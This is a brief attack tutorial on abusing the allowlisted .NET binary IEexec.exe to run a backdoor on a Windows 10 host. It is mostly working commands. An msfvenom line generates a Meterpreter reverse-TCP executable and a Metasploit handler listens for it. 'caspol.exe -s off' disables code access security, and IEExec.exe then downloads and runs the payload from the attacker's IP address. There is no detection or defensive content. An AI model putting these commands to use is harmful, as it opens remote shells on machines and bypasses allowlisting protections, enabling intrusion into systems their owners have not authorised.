Abusing the Allowlisted IEexec.exe to Execute a Backdoor and Obtain Host Access

Environment

Introduction

• The IEexec.exe application is included with the .NET Framework and appears on multiple system allowlists. An attacker can use it to execute a corresponding backdoor file and obtain access to a Windows host.

Attack Process

Generate a backdoor with MSF

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=172.16.106.67 LPORT=2335 -f exe > attack_demo.exe

MSF listener

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.106.67
set lport 2335
exploit

Execute the backdoor through IEexec.exe

• The path of IEexec.exe on a 64-bit system is:

c:\Windows\Microsoft.NET\Framework\v2.0.50727 

• Start cmd with administrator privileges on the Windows 10 host and execute our backdoor through IEexec.exe.

caspol.exe -s off
IEExec.exe http://172.16.106.67/attack_demo.exe